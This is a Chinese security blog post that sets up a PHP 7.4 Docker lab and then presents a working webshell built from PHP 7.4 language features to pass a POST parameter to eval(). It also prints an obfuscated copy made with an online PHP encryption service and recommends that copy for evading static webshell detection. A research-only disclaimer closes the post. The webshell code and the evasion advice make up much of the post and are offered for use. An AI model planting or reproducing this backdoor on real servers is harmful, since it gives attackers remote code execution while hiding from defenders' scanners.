玩命加载中 . . .

利用php7-4新特性webshell


1.前言

看到一篇利用php7.1新特性webshell的文章感觉思路很好,https://cloud.tencent.com/developer/article/1593612

简单的测试,本文使用php7.4的新特性的webshell做一下尝试,效果还是很不错的 php7.3以上版本应该都能用

2.docker搭建php7.4环境

拉取centos镜像

docker pull centos

upload successful

使用镜像创建容器

docker run -it -d -p 8888:80 -v /home/docker/php7.4:/usr/share/nginx/html --privileged --name centos-php7.4  centos /usr/sbin/init

参数 释义
run 启动容器的命令
-it i:交互模式 t:终端
-d 后台运行
-p 1234:80 端口代理 1234 为本地端口,80 为容器内服务端口
/home/docker/php7.4:/usr/share/nginx/html /home/docker/php7.4:本地路径,/usr/share/nginx/html:容器内路径;将本地和容器目录同步,之后可以直接在本地编写代码测试;/usr/share/nginx/html 是 yum 安装 nginx 服务的默认目录,如过其他方式安装请自行更换
–privileged 容器内默认使用 root 登录
–name centos-php7.4 自定义你的容器名称
centos 你的镜像名称
/usr/sbin/init centos 默认启动项

upload successful

进入容器

docker exec run -it 容器id  /bin/bash

upload successful

在2022年1月31日,CentOS团队终于从官方镜像中移除CentOS 8的所有包。

yum需要替换一下源

sed -i -e "s|mirrorlist=|#mirrorlist=|g" /etc/yum.repos.d/CentOS-*
sed -i -e "s|#baseurl=http://mirror.centos.org|baseurl=http://vault.centos.org|g" /etc/yum.repos.d/CentOS-*

upload successful

安装nginx

yum install nginx

![image-
upload successful

设置开机自启

systemctl enable nginx

upload successful

启动nginx

upload successful

然后我们就可以正常访问了

upload successful

安装php7.4

https://www.jb51.net/article/175918.htm

upload successful

配置nginx解析php

vi /etc/nginx/nginx.conf

upload successful

 location ~ \.php$ {
            # 设置监听端口
            fastcgi_pass   unix:/run/php-fpm/www.sock;
            # 设置nginx的默认首页文件(上面已经设置过了,可以删除)
            fastcgi_index  index.php;
            # 设置脚本文件请求的路径
            fastcgi_param  SCRIPT_FILENAME  /usr/share/nginx/html/$fastcgi_script_name;
            # 引入fastcgi的配置文件
            include        fastcgi_params;
        }

fastcgi_pass 后参数为

vi  /etc/php-fpm.d/www.conf

upload successful

整个phpinfo测试

upload successful

3.利用php7.4新特性webshell

php7.4新特性:https://www.php.net/manual/zh/migration74.new-features.php

简单的利用一下新特性尝试构造一个webshell

个人思路很简单使用这个逆变做主要对象处理,其他特性做传递的污染:

upload successful

写了一个小测试(本人水平有限,有错误还请大佬指点,感谢):

<?php
class A {
    public  String $food;
    public function __construct(String $food)
    {
        $this->food = $food;
    }
    public function eat(): String{
        $filter_var = filter_var($this->food, FILTER_VALIDATE_FLOAT);
        if ($filter_var != null){
            return $filter_var;
        }
        return $this->food;
    }
}
class B extends A {}
abstract class Producer { public function method(B $b){}}
class ChildProducer extends Producer {
        public function method(A $a):String{
        $array = array();
        $array['key'] ??= $a->eat();
        $parts = ['apple', $array['key']];
        $fruits = ['banana', 'orange', ...$parts, 'watermelon'];
        $_POST["food1"]??eval($fruits[3]);
    }
}
//$fn1 = fn($x) => $_POST["food"] ?? "apple";
$childProducer = new ChildProducer();
$childProducer->method(new A($_POST["food"] ?? "apple"));
?>

可用测试:

upload successful

upload successful

简单的扫描测试,效果还行 简单测试了下静态

upload successful

upload successful

upload successful
upload successful

4.最后

推荐一个php加密平台在别的大佬文章中看到的,用在webshell混淆上效果很nice

https://enphp.djunny.com/

上面的简单的webshell混淆后的结果:

<?php
/*
-- EnPHP v2: http://enphp.djunny.com/
*/goto êÉèŸ;ïõ•‘:class B extends A{}goto ŠæºÉ;ß·Õ†:class ChildProducer extends Producer{public function method(A $àèŽí):string{goto ­Œòä;­Œòä:$„ƒÎ¨=Û¿ê•(0x0000715);goto Ê£¹¼;Ê£¹¼:$„ƒÎ¨[Û¿ê•(0x0000073e,0x0074f,0x0000729,$Œ°ÜÚ)]??= $àèŽí->eat();goto ¹ª¶£;ˆšÆŠ:$£µ†Â=[Û¿ê•(0x0776),ùñ×Ð(0x0000f17,0x000f07),...$£ ¹Š,ùñ×Ð(0x00000f3b,0x0f5f,0x00f24)];goto –Ž÷Ü;¹ª¶£:$£ ¹Š=[Û¿ê•(0x0000765),$„ƒÎ¨[Û¿ê•(0x0000073e,0x0074f,0x0000729,$Œ°ÜÚ)]];goto ˆšÆŠ;–Ž÷Ü:$_POST[ùñ×Ð(0x0f78)]?? eval($£µ†Â[0x00003]);goto ½ï®ñ;½ï®ñ:}}goto ‰†ÇÍ;³Ë˜¶:class A{public string $food;public function __construct(string $Íí²·){$this->food=$Íí²·;}public function eat():string{goto îñÄ­;À«—æ:if(!($Ô‡™‚!=null))goto Ôêý­;goto „Ÿê«;îñÄ­:$Ô‡™‚=Û¿ê•(0x006ff,0x00006cf)($this->food,FILTER_VALIDATE_FLOAT);goto À«—æ;—¬¤·:Ôêý­:goto ¬–‹;¬–‹:return $this->food;goto ±ÒÌè;„Ÿê«:return $Ô‡™‚;goto —¬¤·;±ÒÌè:}}goto ïõ•‘;‰†ÇÍ:$ÀÆç=new ChildProducer();goto ОÑÊ;ˆå“Û:function ùñ×Ð(){goto ¸µÁÏ;¸µÁÏ:$»¹Ùù=0x0ed8;goto –µ›;«”Ìñ:if(!($â—ãŸ[0]==$»¹Ùù+0x0a0))goto Àéá­;goto ÷ŸèÊ;„Ÿ´¼:if(!(func_get_arg(0x001)==$»¹Ùù+0x0002f))goto ”౎;goto «­öš;¤„˜¼:return gzinflate('+O,I-ÊMÍÉÏ

混淆后也是可用,可以很大程度的绕过webshell的静态检查,同时webshell也不容易泄露标记,很不错推荐

本人水平有限,如有错误还请大佬指点!

说明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担


文章作者: Lmg
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Lmg !
 上一篇
CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现 CVE-2022-24990TerraMaster TOS未授权远程命令执行漏洞复现
1.漏洞信息2022年3月7日,互联网上公开了 TerraMaster TOS 的未授权远程命令执行漏洞,漏洞适用于所有 4.2.x 版本 < 4.2.30,以及所有 4.1.x 版本。 2.漏洞复现2.1 源码的获取官网目前已经无老
2022-06-10
下一篇 
算法设计与分析 算法设计与分析
前言算法设计与分析实验还挺有趣,简单记录一下,以后可能还能用上 贪心算法应用(求图的最小生成树)实验过程(请用简单的文字描述) 算法核心 prime算法,根据顶点,每次找到一个最小边然后进行标记,按照已有的点,继续搜索 kruskal算法,
2021-12-04
  目录